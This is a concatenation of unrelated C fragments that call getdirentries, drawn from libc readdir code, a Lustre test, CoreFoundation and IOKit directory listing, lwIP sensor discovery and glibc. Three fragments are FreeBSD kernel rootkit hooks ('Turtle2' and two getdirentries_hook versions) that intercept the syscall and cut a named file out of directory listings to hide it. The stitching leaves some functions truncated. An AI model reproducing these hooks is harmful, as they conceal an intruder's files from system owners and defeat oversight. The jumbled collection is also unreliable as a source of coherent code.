long gsbio_unix_read_directory(int fd, void *buf, void *end, off_t *poffset) { /* NB: Apparently this has to be done in a Linux-specific way; this is cribbed from p9p's §fn{src/lib9/dirread.c:^/mygetdents/} (Linux version) Obviously, if you want to port this to other Unices you'll need to add §ccode{#ifdef}s and other implementations here */ struct stat st; long sz; if (fstat(fd, &st) < 0) return -1 ; if (st.st_blksize < 8192) st.st_blksize = 8192 ; sz = (uchar*)end - (uchar*)buf; if (st.st_blksize < sz) sz = st.st_blksize ; return getdirentries(fd, buf, sz, poffset); }
/* * getdirentries should return -1 and set errno to EINVAL when the size * specified as an argument is too small to contain at least one entry * (see bugzilla ticket 12229) */ int t56(char *name) { int fd; size_t nbytes; off_t basep = 0; long rc = 0; cfs_dirent_t dir; ENTER("getdirentries should fail if nbytes is too small"); /* Set count to be very small. The result should be EINVAL */ nbytes = 8; /* open the directory and call getdirentries */ fd = t_opendir(lustre_path); rc = getdirentries(fd, (char *)&dir, nbytes, &basep); if (rc != -1) { printf("Test failed: getdirentries returned %lld\n", (long long)rc); t_close(fd); return -1; } if (errno != EINVAL) { printf("Test failed: getdirentries returned %lld but errno is " "set to %d (should be EINVAL)\n", (long long)rc, errno); t_close(fd); return -1; } t_close(fd); LEAVE(); }
/* * Get directory entries info and return in the buffer. Cookie * will keep the state of each call */ static int fs_getdents(int fildes, struct dirent *buf, size_t *nbyte, char *pn_path, long *dpos, longlong_t *cookie, long *n_entries, dent_arg_t *darg) { struct dirent *ptr; char file_path[PATH_MAX + 1]; fs_fhandle_t fh; struct stat64 st; long basep; char *p; int len; int rv; if (*nbyte == 0) { (void) memset((char *)buf, 0, MAX_DENT_BUF_SIZE); *nbyte = rv = getdirentries(fildes, (char *)buf, darg->da_size, &basep); *cookie = 0LL; if (rv <= 0) return (rv); } p = (char *)buf + *cookie; len = *nbyte; do { /* LINTED improper alignment */ ptr = (struct dirent *)p; *dpos = basep; if (rootfs_dot_or_dotdot(ptr->d_name)) goto skip_entry; (void) snprintf(file_path, PATH_MAX, "%s/", pn_path); (void) strlcat(file_path, ptr->d_name, PATH_MAX + 1); (void) memset(&fh, 0, sizeof (fs_fhandle_t)); if (lstat(file_path, &st) != 0) { rv = -1; break; } fh.fh_fid = st.st_ino; if (S_ISDIR(st.st_mode)) goto skip_entry; if (fs_populate_dents(darg, strlen(ptr->d_name), (char *)ptr->d_name, n_entries, &st, &fh) != 0) break; skip_entry: p = p + ptr->d_reclen; len -= ptr->d_reclen; } while (len); *cookie = (longlong_t)(p - (char *)buf); *nbyte = len; return (rv); }
static void do_getdirentries(os_emul_data *emul, unsigned call, const int arg0, cpu *processor, unsigned_word cia) { int fd = cpu_registers(processor)->gpr[arg0]; unsigned_word buf_addr = cpu_registers(processor)->gpr[arg0+1]; char *buf; int nbytes = cpu_registers(processor)->gpr[arg0+2]; unsigned_word basep_addr = cpu_registers(processor)->gpr[arg0+3]; long basep; int status; #ifdef SYS_getdirentries SYS(getdirentries); #endif if (buf_addr != 0 && nbytes >= 0) buf = zalloc(nbytes); else buf = NULL; status = getdirentries(fd, (buf_addr == 0 ? NULL : buf), nbytes, (basep_addr == 0 ? NULL : &basep)); emul_write_status(processor, status, errno); if (basep_addr != 0) emul_write_word(basep_addr, basep, processor, cia); if (status > 0) write_direntries(buf_addr, buf, status, processor, cia); if (buf != NULL) free(buf); }
static int mygetdents(int fd, struct dirent *buf, int n) { off_t off; int nn; /* This doesn't match the man page, but it works in Debian with a 2.2 kernel */ off = p9seek(fd, 0, 1); nn = getdirentries(fd, (void*)buf, n, &off); return nn; }
long do_getdirentries(uint32_t arg1, void* arg2, uint32_t arg3, void* arg4) { long ret; DPRINTF("getdirentries(0x%x, %p, 0x%x, %p)\n", arg1, arg2, arg3, arg4); if(arg4) tswap32s((uint32_t *)arg4); ret = get_errno(getdirentries(arg1, arg2, arg3, arg4)); if(arg4) tswap32s((uint32_t *)arg4); if(!is_error(ret)) byteswap_dirents(arg2, ret); return ret; }
void seekdir(DIR *dir, long ofs) #endif { struct dir_buf *d = (struct dir_buf *)dir; long pos; d->seekpos = lseek(d->fd, ofs & ~(DIR_BUF_SIZE-1), SEEK_SET); d->nbytes = getdirentries(d->fd, d->buf, DIR_BUF_SIZE, &pos); d->ofs = 0; while (d->ofs < (ofs & (DIR_BUF_SIZE-1))) { if (readdir(dir) == NULL) break; } #ifdef SEEKDIR_RETURNS_INT return -1; #endif }
static int getdirentries_hook(struct thread *td,struct getdirentries_args *args) { int size = 0,cnt,to_sub = 0; struct dirent *dir; char *tmp_buf = NULL; getdirentries(td, args); cnt = td->td_retval[0]; if(cnt > 0) { MALLOC(dir,struct dirent *,sizeof(struct dirent),M_TEMP,M_NOWAIT); MALLOC(tmp_buf,char *,cnt,M_TEMP,M_NOWAIT); size = 0; while(cnt > 0) { dir = (struct dirent *)(args->buf + size); if(strstr(dir->d_name,file) == NULL) { bcopy((char *)dir,(char *)(tmp_buf+size-to_sub),dir->d_reclen); } else { #if VERBOSE printf("Turtle2: blocking getdirentries()\n"); #endif to_sub += dir->d_reclen; } size += dir->d_reclen; cnt -= dir->d_reclen; } /* done */ copyout(tmp_buf,args->buf,td->td_retval[0]-to_sub); td->td_retval[0] = td->td_retval[0]-to_sub; /* On my system freeing the used memory makes all crashes */ /* FREE(tmp_buf,M_TEMP); FREE(dir,M_TEMP); */ }
struct dirent *readdir(DIR *dir) { struct dir_buf *d = (struct dir_buf *)dir; struct dirent *de; if (d->ofs >= d->nbytes) { long pos; d->nbytes = getdirentries(d->fd, d->buf, DIR_BUF_SIZE, &pos); d->seekpos = pos; d->ofs = 0; } if (d->ofs >= d->nbytes) { return NULL; } de = (struct dirent *)&d->buf[d->ofs]; d->ofs += de->d_reclen; return de; }
void index_generate( int fd, void *void_st, struct reqinfo *req, lx_s *body) { struct stat *st = (struct stat *)void_st; int bsiz = st->st_blksize > 8192 ? st->st_blksize : 8192; char dbuf[bsiz]; int dbytes; #ifndef USE_GETDENTS long base = 0; #endif if (fchdir(fd)) { die_html(HTERR_FORBID|ERRNO, req->location.s, "error changing directory", err_perm_denied); } entry_prefix(body); for (;;) { #ifndef USE_GETDENTS dbytes = getdirentries(fd, dbuf, bsiz, &base); #else dbytes = getdents(fd, dbuf, bsiz); #endif if (dbytes < 0) { die_html(HTERR_SERVERR|errno, req->location.s, "error reading directory entries", err_dir_index); } if (!dbytes) break; process_dents(body, (struct dirent *)dbuf, dbytes); } entry_suffix(body); }
/* * get next entry in a directory. */ int _readdir_unlocked(DIR *dirp, struct dirent **result, int skipdeleted) { struct dirent *dp; *result = NULL; for (;;) { if (dirp->dd_loc >= dirp->dd_size) dirp->dd_loc = 0; if (dirp->dd_loc == 0) { dirp->dd_size = getdirentries(dirp->dd_fd, dirp->dd_buf, dirp->dd_len, &dirp->dd_seek); if (dirp->dd_size == 0) return (0); if (dirp->dd_size < 0) return (-1); } dp = (struct dirent *)(dirp->dd_buf + dirp->dd_loc); if ((long)dp & 03) /* bogus pointer check */ return (-1); if (dp->d_reclen <= 0 || dp->d_reclen > dirp->dd_len + 1 - dirp->dd_loc) return (-1); dirp->dd_loc += dp->d_reclen; /* * When called from seekdir(), we let it decide on * the end condition to avoid overshooting: the next * readdir call should produce the next non-deleted entry, * and we already advanced dd_loc. */ if (dp->d_ino == 0 && skipdeleted) continue; *result = dp; return (0); } }
// Here we hook the getdirentries syscall. static int getdirentries_hook(struct thread * td, void * syscall_args) { struct getdirentries_args /* { int fd; char * buf; u_int count; long * basep; } */ * uap; uap = (struct getdirentries_args *)syscall_args; struct dirent *dp, *current; unsigned int size, count; // First get the direntries so that we can examine it. getdirentries(td, syscall_args); // Did we get any entries? size = td->td_retval[0]; // Yes, then if (size > 0) { // First we allocate some kernel memory that is the size of the // no of direntries read. Then we copy the userspace value for the // size of the direntries into the allocated kernel space. MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT); copyin(uap->buf, dp, size); current = dp; count = size; // Now we step through the direntries list // The last entry has a reclen 0, and I dont understand why the count // also has to be checked. while ((current->d_reclen != 0) && (count > 0)) { count -= current->d_reclen; // If the current directory entry corresponds to the executable name: if (strcmp((char *)&(current->d_name), T_NAME) == 0) { // Check to see that this is not the last entry and if so // then copy the rest of the following entries over the current one // thereby effectively hiding it. if (count != 0) { bcopy((char *)current + current->d_reclen, current, count); } // I would imagine that the size has to be decremented only if // the above bcopy is done. No: actually it means that the last // entry was the one that needs to be hidden. So no copying is // needed, but the size has to be altered. size -= current->d_reclen; break; } // Step to the next direntry if (count != 0) { current = (struct dirent *)((char *)current + current->d_reclen); } } // size is the return value from the getdirentries call and we need to pass // the adjusted size since we have done nasty manipulations. td->td_retval[0] = size; copyout(dp, uap->buf, size); FREE(dp, M_TEMP); } return(0); }
int getdirentries_test( void * the_argp ) { int my_err, done, found_it, i; int my_fd = -1; int is_ufs = 0; char * my_pathp = NULL; char * my_bufp = NULL; char * my_file_namep; unsigned long my_base; unsigned long my_count; unsigned long my_new_state; fsobj_id_t my_obj_id; struct timespec my_new_backup_time; struct attrlist my_attrlist; test_attr_buf my_attr_buf[4]; struct statfs my_statfs_buf; kern_return_t my_kr; /* need to know type of file system */ my_err = statfs( &g_target_path[0], &my_statfs_buf ); if ( my_err == -1 ) { printf( "statfs call failed. got errno %d - %s. \n", errno, strerror( errno ) ); goto test_failed_exit; } if ( memcmp( &my_statfs_buf.f_fstypename[0], "ufs", 3 ) == 0 ) { is_ufs = 1; } my_kr = vm_allocate((vm_map_t) mach_task_self(), (vm_address_t*)&my_bufp, (1024 * 5), VM_FLAGS_ANYWHERE); if(my_kr != KERN_SUCCESS){ printf( "vm_allocate failed with error %d - \"%s\" \n", errno, strerror( errno) ); goto test_failed_exit; } my_kr = vm_allocate((vm_map_t) mach_task_self(), (vm_address_t*)&my_pathp, PATH_MAX, VM_FLAGS_ANYWHERE); if(my_kr != KERN_SUCCESS){ printf( "vm_allocate failed with error %d - \"%s\" \n", errno, strerror( errno) ); goto test_failed_exit; } *my_pathp = 0x00; strcat( my_pathp, &g_target_path[0] ); strcat( my_pathp, "/" ); /* create a test file */ my_err = create_random_name( my_pathp, 1 ); if ( my_err != 0 ) { goto test_failed_exit; } /* get pointer to just the file name */ my_file_namep = strrchr( my_pathp, '/' ); my_file_namep++; /* check out the test directory */ my_fd = open( &g_target_path[0], (O_RDONLY), 0 ); if ( my_fd == -1 ) { printf( "open failed with error %d - \"%s\" \n", errno, strerror( errno) ); goto test_failed_exit; } done = found_it = 0; while ( done == 0 ) { int my_result, i; struct dirent * my_dirent_p; /* This call requires that 64-bit inodes are disabled */ my_result = getdirentries( my_fd, my_bufp, (1024 * 5), &my_base ); if ( my_result <= 0 ) break; for ( i = 0; i < my_result; ) { my_dirent_p = (struct dirent *) (my_bufp + i); #if DEBUG printf( "d_ino %d d_reclen %d d_type %d d_namlen %d \"%s\" \n", my_dirent_p->d_ino, my_dirent_p->d_reclen, my_dirent_p->d_type, my_dirent_p->d_namlen, &my_dirent_p->d_name[0] ); #endif i += my_dirent_p->d_reclen; /* validate results by looking for our test file */ if ( my_dirent_p->d_type == DT_REG && my_dirent_p->d_ino != 0 && strlen( my_file_namep ) == my_dirent_p->d_namlen && memcmp( &my_dirent_p->d_name[0], my_file_namep, my_dirent_p->d_namlen ) == 0 ) { done = found_it = 1; break; } } } if ( found_it == 0 ) { printf( "getdirentries failed to find test file. \n" ); goto test_failed_exit; } test_failed_exit: if(my_err != 0) my_err = -1; test_passed_exit: if ( my_fd != -1 ) close( my_fd ); if ( my_pathp != NULL ) { remove( my_pathp ); vm_deallocate(mach_task_self(), (vm_address_t)my_pathp, PATH_MAX); } if ( my_bufp != NULL ) { vm_deallocate(mach_task_self(), (vm_address_t)my_bufp, (1024 * 5)); } return( my_err ); }
static int mygetdents(int fd, struct dirent *buf, int n) { off_t off; return getdirentries(fd, (void*)buf, n, &off); }
/* On Mac OS 8/9, one of dirSpec and dirURL must be non-NULL. On all other platforms, one of path and dirURL must be non-NULL If both are present, they are assumed to be in-synch; that is, they both refer to the same directory. */ __private_extern__ CFMutableArrayRef _CFContentsOfDirectory(CFAllocatorRef alloc, char *dirPath, void *dirSpec, CFURLRef dirURL, CFStringRef matchingAbstractType) { CFMutableArrayRef files = NULL; Boolean releaseBase = false; CFIndex pathLength = dirPath ? strlen(dirPath) : 0; // MF:!!! Need to use four-letter type codes where appropriate. CFStringRef extension = (matchingAbstractType ? _CFCopyExtensionForAbstractType(matchingAbstractType) : NULL); CFIndex extLen = (extension ? CFStringGetLength(extension) : 0); uint8_t extBuff[CFMaxPathSize]; #if defined(__WIN32__) /* Windows Variables */ /* The Win32 code has not been updated for: path has been renamed dirPath base has been renamed dirURL dirPath may be NULL (in which case dirURL is not) if dirPath is NULL, pathLength is 0 */ WIN32_FIND_DATA file; HANDLE handle; #elif defined(__svr4__) || defined(__hpux__) || defined(__LINUX__) || defined(__FREEBSD__) /* Solaris and HPUX Variables */ /* The Solaris and HPUX code has not been updated for: base has been renamed dirURL dirPath may be NULL (in which case dirURL is not) if dirPath is NULL, pathLength is 0 */ DIR *dirp; struct dirent *dp; int err; #elif defined(__MACH__) /* Mac OS X Variables */ int fd, numread; long basep; char dirge[8192]; uint8_t pathBuf[CFMaxPathSize]; #endif if (extLen > 0) { CFStringGetBytes(extension, CFRangeMake(0, extLen), CFStringFileSystemEncoding(), 0, false, extBuff, CFMaxPathSize, &extLen); extBuff[extLen] = '\0'; } #if defined(__WIN32__) /* Windows Implementation */ if (pathLength + 2 >= CFMaxPathLength) { if (extension) { CFRelease(extension); } return NULL; } if (NULL != dirPath) { dirPath[pathLength] = '\''; dirPath[pathLength + 1] = '*'; dirPath[pathLength + 2] = '\0'; handle = FindFirstFileA(dirPath, &file); if (INVALID_HANDLE_VALUE == handle) { dirPath[pathLength] = '\0'; if (extension) { CFRelease(extension); } return NULL; } } else { pathLength = 0; } files = CFArrayCreateMutable(alloc, 0, &kCFTypeArrayCallBacks); do { CFURLRef fileURL; CFIndex namelen = strlen(file.cFileName); if (file.cFileName[0] == '.' && (namelen == 1 || (namelen == 2 && file.cFileName[1] == '.'))) { continue; } if (extLen > 0) { // Check to see if it matches the extension we're looking for. if (_stricmp(&(file.cFileName[namelen - extLen]), extBuff) != 0) { continue; } } if (dirURL == NULL) { dirURL = CFURLCreateFromFileSystemRepresentation(alloc, dirPath, pathLength, true); releaseBase = true; } // MF:!!! What about the trailing slash? fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase(alloc, file.cFileName, namelen, false, dirURL); CFArrayAppendValue(files, fileURL); CFRelease(fileURL); } while (FindNextFileA(handle, &file)); FindClose(handle); dirPath[pathLength] = '\0'; #elif defined(__svr4__) || defined(__hpux__) || defined(__LINUX__) || defined(__FREEBSD__) /* Solaris and HPUX Implementation */ dirp = opendir(dirPath); if (!dirp) { if (extension) { CFRelease(extension); } return NULL; // raiseErrno("opendir", path); } files = CFArrayCreateMutable(alloc, 0, & kCFTypeArrayCallBacks); while((dp = readdir(dirp)) != NULL) { CFURLRef fileURL; unsigned namelen = strlen(dp->d_name); // skip . & ..; they cause descenders to go berserk if (dp->d_name[0] == '.' && (namelen == 1 || (namelen == 2 && dp->d_name[1] == '.'))) { continue; } if (extLen > 0) { // Check to see if it matches the extension we're looking for. if (strncmp(&(dp->d_name[namelen - extLen]), extBuff, extLen) != 0) { continue; } } if (dirURL == NULL) { dirURL = CFURLCreateFromFileSystemRepresentation(alloc, dirPath, pathLength, true); releaseBase = true; } // MF:!!! What about the trailing slash? fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase(alloc, dp->d_name, namelen, false, dirURL); CFArrayAppendValue(files, fileURL); CFRelease(fileURL); } err = closedir(dirp); if (err != 0) { CFRelease(files); if (releaseBase) { CFRelease(dirURL); } if (extension) { CFRelease(extension); } return NULL; // raiseErrno("closedir", path); } #elif defined(__MACH__) /* Mac OS X Variables - repeated for convenience */ // int fd, numread; // long basep; // char dirge[8192]; // UInt8 pathBuf[CFMaxPathSize]; /* Mac OS X Implementation */ if (!dirPath) { if (!CFURLGetFileSystemRepresentation(dirURL, true, pathBuf, CFMaxPathLength)) { if (extension) CFRelease(extension); return NULL; } else { dirPath = pathBuf; pathLength = strlen(dirPath); } } fd = open(dirPath, O_RDONLY, 0777); if (fd < 0) { if (extension) { CFRelease(extension); } return NULL; } files = CFArrayCreateMutable(alloc, 0, &kCFTypeArrayCallBacks); while ((numread = getdirentries(fd, dirge, sizeof(dirge), &basep)) > 0) { struct dirent *dent; for (dent = (struct dirent *)dirge; dent < (struct dirent *)(dirge + numread); dent = (struct dirent *)((char *)dent + dent->d_reclen)) { CFURLRef fileURL; CFIndex nameLen; nameLen = dent->d_namlen; // skip . & ..; they cause descenders to go berserk if (0 == dent->d_fileno || (dent->d_name[0] == '.' && (nameLen == 1 || (nameLen == 2 && dent->d_name[1] == '.')))) { continue; } if (extLen > 0) { // Check to see if it matches the extension we're looking for. if (strncmp(&(dent->d_name[nameLen - extLen]), extBuff, extLen) != 0) { continue; } } if (dirURL == NULL) { dirURL = CFURLCreateFromFileSystemRepresentation(alloc, dirPath, pathLength, true); releaseBase = true; } if (dent->d_type == DT_DIR || dent->d_type == DT_UNKNOWN) { Boolean isDir = (dent->d_type == DT_DIR); if (!isDir) { // Ugh; must stat. char subdirPath[CFMaxPathLength]; struct stat statBuf; strncpy(subdirPath, dirPath, pathLength); subdirPath[pathLength] = '/'; strncpy(subdirPath + pathLength + 1, dent->d_name, nameLen); subdirPath[pathLength + nameLen + 1] = '\0'; if (stat(subdirPath, &statBuf) == 0) { isDir = ((statBuf.st_mode & S_IFMT) == S_IFDIR); } } fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase(alloc, dent->d_name, nameLen, isDir, dirURL); } else { fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase (alloc, dent->d_name, nameLen, false, dirURL); } CFArrayAppendValue(files, fileURL); CFRelease(fileURL); } } close(fd); if (-1 == numread) { CFRelease(files); if (releaseBase) { CFRelease(dirURL); } if (extension) { CFRelease(extension); } return NULL; } #else #error _CFContentsOfDirectory() unknown architechture, not implemented #endif if (extension) { CFRelease(extension); } if (releaseBase) { CFRelease(dirURL); } return files; }
ssize_t getdents(int fd, void* buf, size_t siz) { struct stat st; if (siz < DIRBLKSIZ) { errno = EINVAL; return(-1); } if (fstat(fd, &st)) return(-1); if (!S_ISDIR(st.st_mode)) { #ifdef ENOTDIR errno = ENOTDIR; #else errno = EBADF; #endif return(-1); } #if _lib_getdirentries { long off; return(getdirentries(fd, buf, siz, &off)); } #else #if _lib_dirread { register char* sp; /* system */ register struct dirent* up; /* user */ char* u; int n; int m; int i; m = (siz * 6) / 10; m = roundof(m, 8); sp = (char*)buf + siz - m - 1; if (!(n = dirread(fd, sp, m))) return(0); if (n > 0) { up = (struct dirent*)buf; sp[n] = 0; while (sp < (char*)buf + siz - m + n) { i = 0; while (*sp >= '0' && *sp <= '9') i = 10 * i + *sp++ - '0'; while (*sp && *sp != '\t') sp++; if (*sp++) { up->d_fileno = i; u = up->d_name; while ((*u = *sp++) && u < up->d_name + MAXNAMLEN) u++; *u = 0; up->d_reclen = sizeof(struct dirent) - sizeof(up->d_name) + (up->d_namlen = u - up->d_name) + 1; up->d_reclen = roundof(up->d_reclen, 8); up = (struct dirent*)((char*)up + up->d_reclen); } } return((char*)up - (char*)buf); } } #else #if _mem_d_reclen_direct return(read(fd, buf, siz)); #else { #define MAXREC roundof(sizeof(*up)-sizeof(up->d_name)+sizeof(sp->d_name)+1,8) register struct direct* sp; /* system */ register struct dirent* up; /* user */ register char* s; register char* u; int n; int m; char tmp[sizeof(sp->d_name) + 1]; /* * we assume sizeof(struct dirent) > sizeof(struct direct) */ up = (struct dirent*)buf; n = (siz / MAXREC) * sizeof(struct direct); if ((!(m = n & ~511) || m < MAXREC) && (!(m = n & ~255) || m < MAXREC)) m = n; do { if ((n = read(fd, (char*)buf + siz - m, m)) <= 0) break; sp = (struct direct*)((char*)buf + siz - m); while (sp < (struct direct*)((char*)buf + siz - m + n)) { if (sp->d_ino) { up->d_fileno = sp->d_ino; s = sp->d_name; u = tmp; while (s < sp->d_name + sizeof(sp->d_name) && *s) *u++ = *s++; *u = 0; strcpy(up->d_name, tmp); up->d_reclen = sizeof(struct dirent) - sizeof(up->d_name) + (up->d_namlen = u - tmp) + 1; up->d_reclen = roundof(up->d_reclen, 8); up = (struct dirent*)((char*)up + up->d_reclen); } sp++; } } while (up == (struct dirent*)buf); return((char*)up - (char*)buf); } #endif #endif #endif }
/** * Initialises this private MIB before use. * @see main.c */ void lwip_privmib_init(void) { #if SENSORS_USE_FILES && SENSORS_SEARCH_FILES char *buf, *ebuf, *cp; size_t bufsize; int nbytes; struct stat sb; struct dirent *dp; int fd; #else /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ int i; #endif /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ printf("SNMP private MIB start, detecting sensors.\n"); #if SENSORS_USE_FILES && SENSORS_SEARCH_FILES /* look for sensors in sensors directory */ fd = open(SENSORS_DIR, O_RDONLY); if (fd > -1) { fstat(fd, &sb); bufsize = sb.st_size; if (bufsize < sb.st_blksize) { bufsize = sb.st_blksize; } buf = malloc(bufsize); if (buf != NULL) { do { long base; nbytes = getdirentries(fd, buf, bufsize, &base); if (nbytes > 0) { ebuf = buf + nbytes; cp = buf; while (cp < ebuf) { dp = (struct dirent *)cp; if (isdigit(dp->d_name[0])) { struct mib_list_node *dummy; unsigned char index; index = dp->d_name[0] - '0'; snmp_mib_node_insert(&sensor_addr_inf.sensor_list_rn,index,&dummy); strncpy(&sensor_addr_inf.sensor_files[index][0],dp->d_name,SENSOR_NAME_LEN); printf("%s\n", sensor_addr_inf.sensor_files[index]); } cp += dp->d_reclen; } } } while (nbytes > 0); free(buf); } close(fd); } #else /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ for (i = 0; i < SENSOR_COUNT; i++) { struct mib_list_node *dummy; s32_t index = i; char name[256]; sprintf(name, "%d.txt", i); snmp_mib_node_insert(&sensor_addr_inf.sensor_list_rn, index, &dummy); strncpy(&sensor_addr_inf.sensor_files[index][0], name, SENSOR_NAME_LEN); printf("%s\n", sensor_addr_inf.sensor_files[index]); #if !SENSORS_USE_FILES /* initialize sensor value to != zero */ sensor_values[i] = 11 * (i+1); #endif /* !SENSORS_USE_FILES */ } #endif /* SENSORS_USE_FILE && SENSORS_SEARCH_FILES */ if (sensor_addr_inf.sensor_list_rn.count != 0) { /* enable sensor table, 2 tree_levels under this node one for the registers and one for the index */ sensorentry.tree_levels = 2; } }
static hp_timing_t __get_clockfreq_via_proc_openprom (void) { hp_timing_t result; int obp_fd; result = 0; obp_fd = open ("/proc/openprom", O_RDONLY); if (obp_fd != -1) { unsigned long int buf[4096 / sizeof (unsigned long int)]; struct dirent *dirp = (struct dirent *) buf; off_t dbase = (off_t) 0; ssize_t len; while ((len = getdirentries (obp_fd, (char *) dirp, sizeof (buf), &dbase)) > 0) { struct dirent *this_dirp = dirp; while (len > 0) { char node[strlen ("/proc/openprom/") + _D_ALLOC_NAMLEN (this_dirp) + strlen ("/clock-frequency")]; char *prop; int fd; /* Note that strlen("/clock-frequency") > strlen("/device_type") */ __stpcpy (prop = __stpcpy (__stpcpy (node, "/proc/openprom/"), this_dirp->d_name), "/device_type"); fd = open (node, O_RDONLY); if (fd != -1) { char type_string[128]; int ret; ret = read (fd, type_string, sizeof (type_string)); if (ret > 0 && strncmp (type_string, "'cpu'", 5) == 0) { int clkfreq_fd; __stpcpy (prop, "/clock-frequency"); clkfreq_fd = open (node, O_RDONLY); if (fd != -1) { if (read (clkfreq_fd, type_string, sizeof (type_string)) > 0) result = (hp_timing_t) strtoull (type_string, NULL, 16); close (clkfreq_fd); } } close (fd); } if (result != 0) break; len -= this_dirp->d_reclen; this_dirp = (struct dirent *) ((char *) this_dirp + this_dirp->d_reclen); } if (result != 0) break; } close (obp_fd); } return result; }
/** * Initialises this private MIB before use. * @see main.c */ void lwip_privmib_init(void) { #if SENSORS_USE_FILES && SENSORS_SEARCH_FILES char *buf, *ebuf, *cp; size_t bufsize; int nbytes; struct stat sb; struct dirent *dp; int fd; #else /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ u8_t i; #endif /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ memset(sensors, 0, sizeof(sensors)); printf("SNMP private MIB start, detecting sensors.\n"); #if SENSORS_USE_FILES && SENSORS_SEARCH_FILES /* look for sensors in sensors directory */ fd = open(SENSORS_DIR, O_RDONLY); if (fd > -1) { fstat(fd, &sb); bufsize = sb.st_size; if (bufsize < (size_t)sb.st_blksize) { bufsize = sb.st_blksize; } buf = (char*)malloc(bufsize); if (buf != NULL) { do { long base; nbytes = getdirentries(fd, buf, bufsize, &base); if (nbytes > 0) { ebuf = buf + nbytes; cp = buf; while (cp < ebuf) { dp = (struct dirent *)cp; if (isdigit(dp->d_name[0])) { unsigned char idx = dp->d_name[0] - '0'; sensors[idx].num = idx+1; strncpy(&sensors[idx].file[0], dp->d_name, SENSOR_NAME_LEN); printf("%s\n", sensors[idx].file); } cp += dp->d_reclen; } } } while (nbytes > 0); free(buf); } close(fd); } #else /* SENSORS_USE_FILES && SENSORS_SEARCH_FILES */ for (i = 0; i < SENSOR_COUNT; i++) { sensors[i].num = i+1; snprintf(sensors[i].file, sizeof(sensors[i].file), "%d.txt", i); #if !SENSORS_USE_FILES /* initialize sensor value to != zero */ sensors[i].value = 11 * (i+1); #endif /* !SENSORS_USE_FILES */ } #endif /* SENSORS_USE_FILE && SENSORS_SEARCH_FILES */ }
// Note: as of November 2006, the matchingAbstractType isn't used at this function's only call site static CFMutableArrayRef _IOContentsOfDirectory(CFAllocatorRef alloc, char path[CFMaxPathLength], CFURLRef base, CFStringRef matchingAbstractType) { CFMutableArrayRef files; Boolean releaseBase = FALSE; CFIndex pathLength = strlen(path); // MF:!!! Need to use four-letter type codes where appropriate. CFStringRef extension = (matchingAbstractType ? CFRetain(matchingAbstractType) : NULL); CFIndex extLen = (extension ? CFStringGetLength(extension) : 0); char extBuff[CFMaxPathSize]; int fd, numread; long basep; char dirge[8192]; if (extLen > 0) { // not sure what extension might contain ... currently unused CFStringGetBytes(extension, CFRangeMake(0, extLen), kCFStringEncodingMacRoman, 0, FALSE, extBuff, CFMaxPathSize, &extLen); extBuff[extLen] = '\0'; // CFStringGetBytes set extLen to number of bytes in converted string } fd = open(path, O_RDONLY, 0777); if (fd < 0) { if (extension) { CFRelease(extension); } return NULL; } files = CFArrayCreateMutable(alloc, 0, &kCFTypeArrayCallBacks); while ((numread = getdirentries(fd, dirge, sizeof(dirge), &basep)) > 0) { struct dirent *dent; for (dent = (struct dirent *)dirge; dent < (struct dirent *)(dirge + numread); dent = (struct dirent *)((char *)dent + dent->d_reclen)) { CFURLRef fileURL; CFIndex nameLen; nameLen = dent->d_namlen; // skip . & ..; they cause descenders to go berserk if (0 == dent->d_ino /*d_fileno*/ || (dent->d_name[0] == '.' && (nameLen == 1 || (nameLen == 2 && dent->d_name[1] == '.')))) { continue; } if (extLen > 0) { // Check to see if it matches the extension we're looking for. if (strncmp(&(dent->d_name[nameLen - extLen]), extBuff, extLen) != 0) { continue; } } if (base == NULL) { base = CFURLCreateFromFileSystemRepresentation(alloc, path, pathLength, TRUE); releaseBase = TRUE; } if (dent->d_type == DT_DIR || dent->d_type == DT_UNKNOWN) { Boolean isDir = (dent->d_type == DT_DIR); if (!isDir) { // Ugh; must stat. char subdirPath[CFMaxPathLength]; struct stat statBuf; strncpy(subdirPath, path, pathLength); subdirPath[pathLength] = '/'; strncpy(subdirPath + pathLength + 1, dent->d_name, nameLen); subdirPath[pathLength + nameLen + 1] = '\0'; if (stat(subdirPath, &statBuf) == 0) { isDir = ((statBuf.st_mode & S_IFMT) == S_IFDIR); } } fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase(alloc, dent->d_name, nameLen, isDir, base); } else { fileURL = CFURLCreateFromFileSystemRepresentationRelativeToBase (alloc, dent->d_name, nameLen, FALSE, base); } CFArrayAppendValue(files, fileURL); CFRelease(fileURL); } } close(fd); if (-1 == numread) { CFRelease(files); if (releaseBase) { CFRelease(base); } if (extension) { CFRelease(extension); } return NULL; } if (extension) { CFRelease(extension); } if (releaseBase) { CFRelease(base); } return files; }
/* * getdirentries system call hook. * Hides the file T_NAME. */ static int getdirentries_hook(struct thread *td, void *syscall_args) { struct getdirentries_args /* { int fd; char *buf; u_int count; long *basep; } */ *uap; uap = (struct getdirentries_args *)syscall_args; struct dirent *dp, *current; unsigned int size, count; /* * Store the directory entries found in fd in buf, and record the * number of bytes actually transferred. */ getdirentries(td, syscall_args); size = td->td_retval[0]; /* Does fd actually contain any directory entries? */ if (size > 0) { MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT); copyin(uap->buf, dp, size); current = dp; count = size; /* * Iterate through the directory entries found in fd. * Note: The last directory entry always has a record length * of zero. */ while ((current->d_reclen != 0) && (count > 0)) { count -= current->d_reclen; /* Do we want to hide this file? */ if(strcmp((char *)&(current->d_name), T_NAME) == 0) { /* * Copy every directory entry found after * T_NAME over T_NAME, effectively cutting it * out. */ if (count != 0) bcopy((char *)current + current->d_reclen, current, count); size -= current->d_reclen; break; } /* * Are there still more directory entries to * look through? */ if (count != 0) /* Advance to the next record. */ current = (struct dirent *)((char *)current + current->d_reclen); } /* * If T_NAME was found in fd, adjust the "return values" to * hide it. If T_NAME wasn't found...don't worry 'bout it. */ td->td_retval[0] = size; copyout(dp, uap->buf, size); FREE(dp, M_TEMP); } return(0); }
